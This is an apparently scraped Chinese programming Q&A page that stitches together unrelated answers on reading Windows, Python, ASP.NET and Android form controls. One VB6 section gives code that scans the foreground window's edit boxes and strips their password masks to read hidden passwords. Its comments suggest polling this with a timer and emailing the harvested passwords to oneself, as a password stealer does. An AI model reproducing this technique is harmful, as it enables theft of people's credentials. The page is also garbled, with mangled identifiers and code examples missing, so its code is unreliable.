C#一个普通的类,怎么获取窗体里控件的属性

C#一个普通的类,怎么获取窗体里控件的属性,第1张

把窗体本身或者控件传入这个类(或者做为参数传给这个类的方法),看你的需要了,比如说你在form1里创建的这个类叫myclass,把这个mycalss的构造方法改成

public class myclass

{

form1 frm;

public myclass(form1 frm)

{

thisfrm=frm;

}

}

这样你在form1中创建这个myclass的时候就可以是

myclass mc=new myclass(this);

当然也可以直接传窗体或者控件给类中的方法,比如mycalss中有

public void msg(EditText txt)

或者

public void msg(form1 frm)

其它方法也很多,看你需要了。

你直接选中了然后Ctrl+C就可以啊。malab是支持这个热键的,还有Ctrl+V等等。

这个实在是难为matlab了,官方不开放这些属性,只能加载java类的控件,里面有各种属性和方法可以使用。

不知道你解决了没,最近正好研究python。

hwnd=win32guiFindWindow()这个获取窗体句柄,大概都会用;

ctrl=win32guiFindWindowEx(hwnd,None,'窗口类名',‘标题文本’)已知控件类名或控件名时获取控件句柄,这个标题文本不一定存在,所以使用None默认值获取的是该窗口类名中第一个顺位的控件句柄。

你使用b=win32guiGetDlgItem(edit,资源ID)最终结果是获取的是句柄,这里的资源ID其实是spy++中的窗口ID,句柄是可变的,窗口ID是不可变的。这里似乎错了,你这样子大概获取的是控件中的子项(控件有子项的话,比如Combox中的edit框),我猜的,没试过。b=win32guiGetDlgItem(hwnd,窗口ID)是已知ID下获取某控件句柄

如果你想获取某个控件的ID则ctrlid=win32guiGetDlgCtrlID(ctrl)这是一只某控件句柄的情况下获取该控件在应用程序中的窗口ID。

如果不知控件句柄的情况下大概可以试试spy++获取窗口ID,把窗口ID(这个是16进制的)转化成10进制带进b=win32guiGetDlgItem(hwnd,窗口ID)大概也可以得到控件句柄。

其实就是三个函数之间的转化

ctrl=win32guiFindWindowEx(hwnd,None,'edit',None)控件句柄

ctrlid=win32guiGetDlgCtrlID(ctrl)控件的窗口id

ctrl2=win32guiGetDlgItem(hwnd,ctrlid)控件句柄

print "%x" %ctrllist

print "%x" %ctrlid

print "%x" %ctrl

输出,看一下数据与spy++是否一致。然后ctrl=ctrl2

很简单的,你用classwizard给这个控件添加一个变量,选择的类型为contrl

然后在这个变量的定义的代码处,把CEdit改成你自己的类型就可以了,你自己定义的类型必须是从cedit派生来的。

通过设置控件的参数或者配置作用于控件的模板,可以对网站导航控件的可视外观进行自定义。应用于链接的模板和样式依照两个优先规则在

sitemappath

remarks

部分得到描述。

另外也可以将主题或控件皮肤应用于控件,或者开发符合特殊呈现需求的自定义网站导航控件。

sitemappath

控件显示一条导航路径(链接之间以特殊符号进行分隔),以链接的方式显示当前页面返回到主页的路径。在

aspnet

页面中,sitemappath

控件会的显示可能是这样:

home

>

services

>

training

treeview

menu

控件也可以呈现网站地图数据,与

sitemappath

控件类似,它们可以像其他大部分

web

控件一样进行自定义。本文将介绍如何使用

sitemappath

控件的下列自定义特征:

指定显示在链接之间的分隔字符或。

反转导航路径的方向。

指定父链接的显示数目。

本文的所有步骤均假设已经创建网站地图文件和若干包含

sitemappath

控件的页面。

自定义链接的样式属性

在包含

sitemappath

控件的

aspnet

web

页面里,为控件添加下列属性:

rootnodestyle-font-names="verdana"

rootnodestyle-forecolor="orange"

rootnodestyle-borderwidth=2

比如,用于

sitemappath

控件的代码可能是这样:

上例中使用的

style

fontinfo

对象的大部分属性都是有效的,包括

cssclass

属性。

如果需要为每一个链接指定不同的样式内容,请重复前面的步骤并分别设置

sitemappath

控件的

parentnodestyle,currentnodestyle,以及

pathseperatorstyle

属性。

提示:为了改进性能,可以使用

nodetemplate

对象一次性完成所有样式的自定义。

自定义显示在链接之间的分隔字符

在包含

sitemappath

控件的

aspnet

web

页面中,为控件添加

pathseparator

属性。

比如,用于

sitemappath

控件的代码可能是这样:

现在的

sitemappath

控件的显示可能是这样:

home

::

services

::

training

可以使用任意字符串来分隔链接,甚至可以使用,请参考下列步骤。

指定显示在链接之间的

在包含

sitemappath

控件的

aspnet

web

页面中,为控件添加下列代码:

比如,用于

sitemappath

控件的代码可能是这样:

反转显示在

sitemappath

控件中的路径的方向

在包含

sitemappath

控件的

aspnet

web

页面中,为控件添加

pathdirection

pathseparator

属性。

比如,用于

sitemappath

控件的代码可能是这样:

限制父链接显示的数目

在包含

sitemappath

控件的

aspnet

web

页面中,为控件添加

parentlevelsdisplayed

属性。

比如,用于

sitemappath

控件并最多只显示两个父链接的代码可能是这样:

可访问性

网站导航控件通常在网站的每一个页面中都被使用。屏幕阅读器和其他辅助设备会在每次访问页面以及每次回传页面时大声地读出导航控件中的文本内容。

包括

sitemappath,treeview,及

menu

在内的网站导航控件都有

skiplinktext

属性,允许复述信息被连续页面访问或重复页面访问时能够被跳过。

使用可访问性遗漏特征

在包含导航控件的

aspnet

web

页面中,为控件添加下列属性:

skiplinktext="skipped

menu"

比如,用于

sitemappath

控件的代码可能是这样:

本文来源:开发者在线

>

'缓存子窗体控件句柄

Public

ChildHwnd

As

String

Declare

Sub

Sleep

Lib

"kernel32"

(ByVal

dwMilliseconds

As

Long)

'发送消息

Declare

Function

SendMessage

Lib

"user32"

Alias

"SendMessageA"

(ByVal

hWnd

As

Long,

ByVal

wMsg

As

Long,

ByVal

wParam

As

Long,

lParam

As

Any)

As

Long

Declare

Function

PostMessage

Lib

"user32"

Alias

"PostMessageA"

(ByVal

hWnd

As

Long,

ByVal

wMsg

As

Long,

ByVal

wParam

As

Long,

ByVal

lParam

As

Long)

As

Long

'主要用来遍历子窗体和子控件句柄

Declare

Function

EnumChildWindows

Lib

"user32"

(ByVal

hWndParent

As

Long,

ByVal

lpEnumFunc

As

Long,

ByVal

lParam

As

Long)

As

Long

'控件类型

Declare

Function

GetClassName

Lib

"user32"

Alias

"GetClassNameA"

(ByVal

hWnd

As

Long,

ByVal

lpClassName

As

String,

ByVal

nMaxCount

As

Long)

As

Long

'开始遍历

EnumChildWindows

mehWnd,

AddressOf

EnumChildProc,

ByVal

0&

'遍历子窗体控件句柄,这个函数必须用在模块中

Public

Function

EnumChildProc(ByVal

hWnd

As

Long,

ByVal

lParam

As

Long)

As

Long

ChildHwnd

=

ChildHwnd

&

","

&

hWnd

EnumChildProc

=

1

End

Function

'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再

'Dim

AllHwnd()

As

String

'去除多余的无效字符

'ChildHwnd

=

Mid(ChildHwnd,

2)

'转换成数组

'AllHwnd

=

Split(ChildHwnd,

",")

'获得所有子句柄后,需要获取其控件类型

'查看窗体/控件类型

Public

Function

FGetClassName(hWnd

As

Long)

As

String

Dim

ClassName

As

String

Dim

Ret

As

Long

'为类名设置缓存区大小

ClassName

=

Space(256)

'得到GETCLASSNAME返回值

Ret

=

GetClassName(hWnd,

ClassName,

256)

FGetClassName

=

Left(ClassName,

Ret)

End

Function

'直接sendmessage

就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再 postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复passwordchar属性

Public

Function

GetText(WindowHandle

As

Long)

As

String

Dim

strBuffer

As

String,

Char

As

String,

lngTextLength

As

Long

strBuffer

=

Space(255)

'得到password掩码

Char

=

SendMessage(WindowHandle,

&HD2,

0,

0)

'去除edit控件的passwordchar属性

PostMessage

WindowHandle,

&HCC,

0,

0

'如果是edit控件则等待消息发送成功

If

InStr("Edit",

FGetClassName(WindowHandle))

And

Char

<>

"0"

Then

Sleep

(10)

'得到edit控件的text

SendMessage

WindowHandle,

&HD,

255,

ByVal

strBuffer

'恢复edit控件的passwordchar属性

PostMessage

WindowHandle,

&HCC,

ByVal

Char,

0

GetText

=

Trim(strBuffer)

End

Function

'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了

'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)

'测试了下,我自己机器上,只有qq2007

beta3的密码是读不出来的,用户名是假的

'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了

'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难

et = (EditText)findViewById(Ridedittext);

String value = etgetText()toString();

这样不就可以获取到了?

以上就是关于C#一个普通的类,怎么获取窗体里控件的属性全部的内容,包括:C#一个普通的类,怎么获取窗体里控件的属性、怎样获取matlab的edit控件中所选择的文本剪贴板、python pywin32 里面 *** 作窗体,获取窗体里面的数据,在函数GetDlgItem函数中,怎么获取第二个参数的值等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/web/9457815.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-28
下一篇 2023-04-28

发表评论

登录后才能评论

评论列表(0条)

保存